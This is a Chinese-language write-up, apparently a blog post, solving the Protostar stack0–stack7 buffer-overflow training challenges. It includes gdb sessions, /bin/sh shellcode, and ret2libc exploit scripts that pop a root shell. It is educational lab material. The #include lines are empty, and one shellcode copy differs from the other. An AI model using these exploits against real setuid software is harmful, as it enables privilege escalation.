Protostar靶场地址
https://exploit.education/protostar/
#include
#include
#include
int main(int argc, char **argv)
{
volatile int modified; //定义一个变量
char buffer[64]; //给buffer变量定义数组,c语言中一个字符数就是一个字符串
modified = 0; //modified变量=0
gets(buffer); //获取输入,到buffer变量里
if(modified != 0) { //如果modified不等于0
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
分析源码可以看见第8行,定义的字符串数组是64位。按照溢出的思路,我们应该是需要加一位字符串,也就是64位,这样子就可以溢出了。
而且通过11行可以看见,gets函数如果将继续存储字符当超过缓冲区的末端,将会影响计算机的安全。这是一个危险的函数
python -c 'print "B"*65'|./stack0
使用python输出字符串,或者echo输出,可以看见成功破解成勋
使用gdb调试程序
gdb stack0
set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main 显示所有的汇编程序指令
这里主要看第8行和第9行,第8行执行了gets函数,第9行:这行汇编指令表示将存储在%esp寄存器值加上0x5c偏移处的内容(内存地址)加载到%eax寄存器中。%esp是堆栈指针寄存器,通常用于指向栈顶,而%eax是通用寄存器,用于存储数据和地址。
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : and $0xfffffff0,%esp
0x080483fa : sub $0x60,%esp
0x080483fd : movl $0x0,0x5c(%esp)
0x08048405 : lea 0x1c(%esp),%eax
0x08048409 : mov %eax,(%esp)
0x0804840c : call 0x804830c
0x08048411 : mov 0x5c(%esp),%eax
0x08048415 : test %eax,%eax
0x08048417 : je 0x8048427
0x08048419 : movl $0x8048500,(%esp)
0x08048420 : call 0x804832c
0x08048425 : jmp 0x8048433
0x08048427 : movl $0x8048529,(%esp)
0x0804842e : call 0x804832c
0x08048433 : leave
0x08048434 : ret
End of assembler dump.
对这两行地址进行断点调试
b *0x0804840c
b *0x08048411
define hook-stop
这个工具可以帮助我们在每一步操作停下来后,自动的运行我们设置的命令:
info registers //显示寄存器里的地址
x/24wx $esp //显示esp寄存器里的内容
x/2i $eip //显示eip寄存器里的内容
end //结束
输入r运行第一个断点
输入n命令,执行下一步。下一步是gets函数
通过观察可以发现, 当0x41414141填满到0x00000000的时候, 从当前的0x41414141往下输出 。 刚好输出到到0x00000000的时候,有四行164+1个A就可以溢出了,刚好也是65位字符。(其中一个字节有8位,然后4个A就刚好8位,而一行有4个字节,所以一行的字符串数位44=16,4行也就是4*16了)
经过测试,可以看见确实是这样子
继续下一步n执行,可以看见程序最终破解成功。
至于为什么是到 0x00000000
x/wx $esp+0x5c //查看esp地址+0x5c偏移地址的内容
查看内存中以esp寄存器为起点加上偏移量0x5c的地址的内容。在汇编层面,esp通常是栈指针,偏移量代表相对于栈顶的位置。使用x命令表示检查内存内容,wx表示以十六进制方式显示字的格式。
总的来说eip存储了下一条即将被执行的机器指令的内存地址,这个寄存器在执行指令时告诉 CPU 下一步应该执行哪条指令
设置断点,其他断点都可以,我们主要是看eip的值
b main //函数名设置断点
b *main //指定main函数的地址设置断点
我们可以查看程序头,运行程序到断点处
r
info registers //查看所有寄存器的值
disassemble main
可以看见如果我们输入的值和程序不一样,就会跳转到0x8048427这个地址。如果我们的eip值跳转到0x08048419地址,就会执行下面的put函数,意味着破解成功
set $eip=0x08048419 //设置eip寄存器的地址
n // 执行下一条指令
它主要用于存储函数返回值、算术运算的临时数据和通用数据等。在函数调用过程中,eax 通常用于存储函数的返回值。
显示程序中main函数的反汇编代码,可以知道0x08048415地址,是进行比较判断的值
查看源代码,可以看见不为0的时候,就会执行下一个条件
现在我们来调试这个地址的断点
b *0x08048415 //对这个地址进行断点
r //开始调试程序的断点
info registers //显示寄存器的所有信息
set $eax = 1
x86的读取,读取主要是由低到高的
题目来源:
https://exploit.education/protostar/stack-one/
源码
#include
#include
#include
#include
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
从第6行到13行可以看见,启动程序必须后面有一些输入出,才能载入。后面的代码和前面的其实差不多。
这里我们主要是要指定x86架构的一个知识点,就是我们已经知道了,如果要想破解程序。那就必须让modified变量等于0x61626364这个十六进制。
好,现在让我们尝试一遍,之前的溢出方式。
define hook-stop //启动程序的时候,会自动显示下面那些设置
x/48wx $esp //显示48个十六进制,esp寄存器的内容
x/2i $eip //显示下两条的eip存储的指令
b *0x080484ab
启动程序
r AAAAAAAA
通过查看esp地址+0x5c偏移地址的内容,我们知道了需要64位才能缓冲区溢出
x/wx $esp+0x5c
几乎和挑战1方法一样。
0x61626364的十六进制是abcd
所以,第一个没成功,是因为读取是由低高的
题目来源
https://exploit.education/protostar/stack-two/
源代码
#include
#include
#include
#include
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
方法没变,只是溢出的方式奇怪了,是环境变量。getenv函数是获取当前的环境变量。源代码中,获取的是GREENIE环境变量的路径。
溢出方式:
export GREENIE=$(python -c"print 'A'*64+'\x0a\x0d\x0a\
x0d'"); ./stack2
https://exploit.education/protostar/stack-three/
#include
#include
#include
#include
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
从源代码中的第六行和到第九行可以看见是自定义的win函数,如果调用win函数,则程序破解成功。
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
指针变量是一种特殊类型的变量,其存储的是另一个变量的内存地址,而不是数据值本身。
下面是指针变量的一些常见特点:
当fp等于一个有效的函数指针时,会进行输出,并跳转到fp所指向的函数。
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
因为fp在代码中已经设置为0了,如果要想进行改变的话,就要通过溢出64位,才能进行操控指针变量。
查看main函数,这两行是我们需要溢出的地方,因为call指令执行eax寄存器里的值,我们需要将win函数溢出覆盖到0x08048471的地址就好了
如果不溢出,可以看见程序直接跳转指定的输出了
添加垃圾数据溢出到够64位就好了
查看win函数地址可以在gdb指令使用,第一行地址就是了
disassemble win
objdump -x ./stack3 |grep win
python -c "print('A'*64+'\x24\x84\x04\x08')"| ./stack3
leave 和 ret 是 x86 汇编语言中的两个指令,通常在函数的退出过程中使用。
leave 指令用于将栈帧恢复到调用函数之前的状态。它的作用相当于两个指令的组合:mov esp, ebp 和 pop ebp。
ret 指令用于返回地址函数
题目地址:
https://exploit.education/protostar/stack-four/
源代码:
#include
#include
#include
#include
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
可以看见,我们虽然可以通过第13行进行64位的溢出,但是,我们需要调用win函数的地址,才能破解程序。那么这里就需要用到ret指令的特性,通过溢出,来修改ret指令返回的地址为win函数地址。
set disassembly-flavor intel
disassemble main
对leave指令地址进行断点
可以看见刚开始运行的程序,是这样子的,记录下来
准备到ret指令运行了,n下一步调试
在这里我们知道了,ret指令的地址是0xb7eadc76,我们要对它进行溢出覆盖为我们想要破解的win函数地址。
重新断掉调试,按r
可以计算出,需要76+win函数地址才能溢出覆盖。
python -c "print('A'*76+'win函数地址')"|./stack4
win函数地址获取,可以看见是0x080483f4
最后破解程序
python -c "print('A'*76+'\xf4\x83\x04\x08')"|./stack4
题目地址
https://exploit.education/protostar/stack-five/
源码分析
#include
#include
#include
#include
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
可以看见这个程序的作用是只接受我们的输入
ESP 是 x86 架构中的一个寄存器,全称是 “Extended Stack Pointer”,它是栈指针寄存器。ESP 用于指向栈的顶部,即栈中最新压入的数据的位置。
在栈溢出攻击中,攻击者可能会尝试通过修改 ESP 或覆盖返回地址,来劫持程序的控制流,使其执行攻击者注入的代码。
因为esp寄存器控制着数据,所以我们的最终目的,是溢出加上写入恶意代码获得/bin/bash的root权限。因为有setuid位,所以可以得到root权限。
这是一个linux x86架构执行/bin/sh的shellcode,来源于:
http://shell-storm.org/shellcode/files/shellcode-811.html
shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
通过断点调试,获得ret指令地址,可以看见继续按n下一步,就可以获得ret的地址了
按n,可以看见ret的地址是:0xb7eadc76。同时它也是我们需要溢出的地址。同时esp寄存器的0xbffff7d0地址是我们需要进行堆栈写入的地方。
0xbffff7d0 实际上是栈上的地址,通常对应于栈指针 esp 的值。在这个场景中,这个地址可能被用来覆盖函数返回地址 eip。
攻击者通常希望将 eip 的值修改为指向攻击者注入的代码的地址,从而在函数返回时跳转到攻击者指定的代码区域。
这种类型的攻击通常称为栈溢出攻击,其中溢出的数据会覆盖栈上的关键信息,如返回地址。
所以,在这个代码中,0xbffff7d0 作为填充和攻击代码之间的位置,可能用于达到覆盖返回地址的目的。
现在我们知道了,ret溢出的地址,我们重新断掉调试一下。用gdb调试leave的地址:
disassemble main
b *0x080483d9
r
x/100wx $esp
通过计算,可以知道要想溢出445-4个地址位,也就是需要76个字符,才能溢出ret地址。然后进行覆盖地址。
import struct
overflow = "A" * 76
eip = struct.pack("I",0xbffff7d0)
nop = "\x90"*10
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x88"
print overflow+eip+nop+shellcode
(python stack5exp.py ; cat)| /opt/protostar/bin/stack5
其中括号是为了保存临时的全部输出,最后让输入到stack5程序中。
cat的特性,如图:直接输入cat回车,然后随便打可以看见都是我们自己输入的输出
最后可以看见获取到了root权限,成功破解
“ret to libc”,其中是为了溢出ret地址从而进行覆盖为libc库中某个函数的地址,比如”system“函数可以用来执行系统命令。我们可以通过这个函数,构造一个恶意的参数给它,从而获取shell。
程序为了调用函数,就会到指定的libc库里查找并执行
题目:
https://exploit.education/protostar/stack-six/
stack6源代码:
#include
#include
#include
#include
void getpath() //定义一个名为getpath的函数
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout); //输出字符串input path please:
gets(buffer); //获取用户输入,将输入存储到buffer函数变量里
ret = __builtin_return_address(0); //获取ret返回的内存地址
if((ret & 0xbf000000) == 0xbf000000) { //如果内存地址的前两位是0xbf
printf("bzzzt (%p)\n", ret); //输出bzzzt
_exit(1);
}
printf("got path %s\n", buffer); //输出got path和用户的输入
}
int main(int argc, char **argv) //主函数
{
getpath(); //调用getpath函数
}
由于程序的主要调用的函数是getpath,用gdb查看getpath函数
然后进行断点调试
x/wx ret
x/100wx $esp
可以看见ret指令的地址是0x8048505,这是我们要覆盖的。通过计算可以,知道要覆盖ret指令的返回地址需要,80个字符位
继续输入gdb指令,获取system的函数地址,可以看见是 0xb7ecffb0。获取system函数地址是为了可以执行命令,所以需要它
p system
虽然我们我们有了system函数地址,但是我们还需要构造恶意的参数传入到system函数中。
查找程序内存映射(内存映射用于将文件或其他设备的内容映射到进程的地址空间),从而找到stack6的基地址:0xb7e97000
i proc mappings
现在我们已知 0xb7e97000 libc库基地址,如果想要调用licb库中的函数、参数什么的。就必须调用程序字符串的完整地址,其中它:
程序调用字符串的完整地址 = libc库基地址+字符串的偏移地址
strings -t d /lib/libc-2.11.2.so|grep "/bin/sh"
查找我们所需字符串的偏移地址 :1176511 ,有了它才能获取shell
可以知道程序调用字符串的完整地址是 0xb7e97000+1176511
import struct
ret_overflow = "A"*80
system = struct.pack("I",0xb7ecffb0)
system_ret = "A"*4
shellcode = struct.pack("I",0xb7e97000+1176511)
print ret_overflow+system+system_ret+shellcode
(python stack6exp.py ; cat)|/opt/protostar/bin/stack6
题目地址:
https://exploit.education/protostar/stack-seven/
源代码:
#include
#include
#include
#include
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
和stack-six代码的区别:
char *getpath()
{
// ...
return strdup(buffer);
}
这段代码的 getpath 函数的返回类型是 char *,即返回一个字符指针。,函数从用户输入中获取路径,并使用 strdup 函数创建了路径的副本,最后返回这个副本。
正因为有了副本,只不过,我们需要添加ret指令的地址,有了ret才能返回我们所需要执行的恶意函数。首先我们的解题思路还是溢出:ret To libc。
寻找指令的十六进制地址
objdump -D ./stack7 |grep ret
溢出位+ret指令地址+system函数地址+system_ret返回地址+shellcode地址
import struct
ret_overflow = "A"*80
ret_addr = struct.pack("I",0x8048383)
system = struct.pack("I",0xb7ecffb0)
system_ret = "A"*4
shellcode = struct.pack("I",0xb7e97000+1176511)
print ret_overflow+ret_addr+system+system_ret+shellcode
可以看见破解成功
(python stack7exp.py ; cat) | /opt/protostar/bin/stack7
https://blog.csdn.net/qq_45894840/article/details/129490504
https://blog.csdn.net/qq_45894840/article/details/132688653
https://blog.csdn.net/qq_45894840/article/details/132720953
https://blog.csdn.net/qq_45894840/article/details/134028680